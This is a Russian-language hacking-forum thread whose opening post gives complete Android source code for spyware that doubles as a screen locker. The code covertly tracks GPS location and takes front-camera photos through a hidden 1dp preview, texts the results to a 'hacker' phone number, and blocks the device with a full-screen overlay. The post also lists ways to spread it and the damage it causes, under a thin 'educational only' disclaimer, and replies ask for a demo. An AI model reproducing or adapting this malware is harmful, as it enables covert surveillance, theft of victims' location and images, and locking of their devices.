Загрузка...

We write our own spy Trojan, virus blocker for Android

Thread in Virology created by Samir007 Aug 2, 2024. 768 views

  1. Samir007
    Samir007 Topic starter Aug 2, 2024 53 Aug 7, 2019
    Всем Hello World! Сегодня напишем с вами вирус, который будет отслеживать местоположение человека, фотографировать человека через фронтальную камеру, блокировать доступ ко всем приложениям и отправлять местоположение и фотографии так называемому взломщику :pepeHacker:

    Сперва добавляем необходимые разрешения в файл AndroidManifest.xml:

    Code
       <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    Следующим шагом создаем класс для обработки местоположения, отправки SMS, фотографирования и блокировки приложений:

    Code
    import android.Manifest;
    import android.content.Context;
    import android.content.Intent;
    import android.content.pm.PackageManager;
    import android.graphics.Bitmap;
    import android.graphics.BitmapFactory;
    import android.hardware.Camera;
    import android.location.Location;
    import android.location.LocationListener;
    import android.location.LocationManager;
    import android.net.Uri;
    import android.os.Bundle;
    import android.os.Environment;
    import android.provider.MediaStore;
    import android.telephony.SmsManager;
    import android.view.SurfaceHolder;
    import android.view.SurfaceView;
    import android.view.WindowManager;
    import androidx.appcompat.app.AppCompatActivity;
    import androidx.core.app.ActivityCompat;
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileOutputStream;

    public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback {

    private LocationManager locationManager;
    private LocationListener locationListener;
    private Camera camera;
    private SurfaceView surfaceView;
    private SurfaceHolder surfaceHolder;
    private String hackerPhoneNumber = "+1234567890"; // Номер телефона взломщика

    @Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Инициализация LocationManager
    locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);

    // Создание LocationListener для обработки изменений местоположения
    locationListener = new LocationListener() {
    @Override
    public void onLocationChanged(Location location) {
    double latitude = location.getLatitude();
    double longitude = location.getLongitude();
    sendLocationToHacker(latitude, longitude);
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {}

    @Override
    public void onProviderEnabled(String provider) {}

    @Override
    public void onProviderDisabled(String provider) {}
    };

    // Проверка разрешений и запрос местоположения
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION}, 1);
    return;
    }
    locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener);

    // Инициализация камеры
    surfaceView = findViewById(R.id.surfaceView);
    surfaceHolder = surfaceView.getHolder();
    surfaceHolder.addCallback(this);

    // Блокировка доступа ко всем приложениям
    getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
    startService(new Intent(this, OverlayService.class));
    }

    private void sendLocationToHacker(double latitude, double longitude) {
    String message = "Location: Latitude = " + latitude + ", Longitude = " + longitude;
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null);
    }

    @Override
    public void surfaceCreated(SurfaceHolder holder) {
    camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT);
    try {
    camera.setPreviewDisplay(holder);
    camera.startPreview();
    camera.takePicture(null, null, pictureCallback);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    @Override
    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}

    @Override
    public void surfaceDestroyed(SurfaceHolder holder) {
    if (camera != null) {
    camera.stopPreview();
    camera.release();
    camera = null;
    }
    }

    private Camera.PictureCallback pictureCallback = new Camera.PictureCallback() {
    @Override
    public void onPictureTaken(byte[] data, Camera camera) {
    try {
    Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
    File photoFile = savePhoto(bitmap);
    sendPhotoToHacker(photoFile);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    };

    private File savePhoto(Bitmap bitmap) throws Exception {
    File photoFile = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "photo.jpg");
    FileOutputStream fos = new FileOutputStream(photoFile);
    bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
    fos.close();
    return photoFile;
    }

    private void sendPhotoToHacker(File photoFile) {
    try {
    SmsManager smsManager = SmsManager.getDefault();
    Uri photoUri = Uri.fromFile(photoFile);
    String message = "Photo taken: " + photoUri.getPath();
    smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    }
    После этого, создадим службу для блокировки доступа ко всем приложениям:

    Code
    import android.app.Service;
    import android.content.Intent;
    import android.os.IBinder;
    import android.view.LayoutInflater;
    import android.view.View;
    import android.view.WindowManager;

    public class OverlayService extends Service {

    private WindowManager windowManager;
    private View overlayView;

    @Override
    public IBinder onBind(Intent intent) {
    return null;
    }

    @Override
    public void onCreate() {
    super.onCreate();
    windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
    overlayView = LayoutInflater.from(this).inflate(R.layout.overlay_view, null);

    WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
    WindowManager.LayoutParams.FLAG_FULLSCREEN);

    windowManager.addView(overlayView, params);
    }

    @Override
    public void onDestroy() {
    super.onDestroy();
    if (overlayView != null) {
    windowManager.removeView(overlayView);
    }
    }
    }
    Затем создадим макет для overlay_view.xml:

    Code
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#80000000">
    </RelativeLayout>
    Добавим макет для SurfaceView в activity_main.xml:

    Code
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <SurfaceView
    android:id="@+id/surfaceView"
    android:layout_width="1dp"
    android:layout_height="1dp"
    android:layout_centerInParent="true"/>
    </RelativeLayout>
    Вот и все, вы создали свой вирус блокировщик, а также шпион на Android :pepeHacker:
    Что для вас еще написать, предлагайте свои идеи

    Документация:

    Целевые устройства: Android версии 6.0 и выше
    Методы распространения: ******овые сообщения, социальная инженерия, вирусные веб-сайты
    Ущерб: Нарушение конфиденциальности, сбор личной информации, блокировка устройства

    Предупреждение:
    Этот вирус создан исключительно в образовательных целях. Он предназначен для демонстрации возможных угроз безопасности и способов их предотвращения. Использование данного кода для любых незаконных или неэтичных действий строго запрещено.
    Создание, распространение и использование вредоносного программного обеспечения могут привести к серьёзным правовым последствиям, включая уголовную ответственность.
    Автор не несет ответственности за любые убытки или ущерб, причиненные в результате использования или злоупотребления этим кодом.
     
  2. КуниДорого
    КуниДорого test Aug 2, 2024 :cryingcat: Меня оскорбили в интернете…
    Видео пример работы будет?
     
    1. Lologhh
      КуниДорого, согласен нужен видео пример для тех кто не понимает
  3. Apulap
    Apulap Aug 4, 2024 0 Nov 12, 2022
    кто нибудь шарит за ssdeep ?
     
  4. Nmz
    Nmz Aug 10, 2024 45 Jul 31, 2023
    номер телефона взломщика, блокировка доступа ко всем приложениям просто наложением
     
Loading...
Top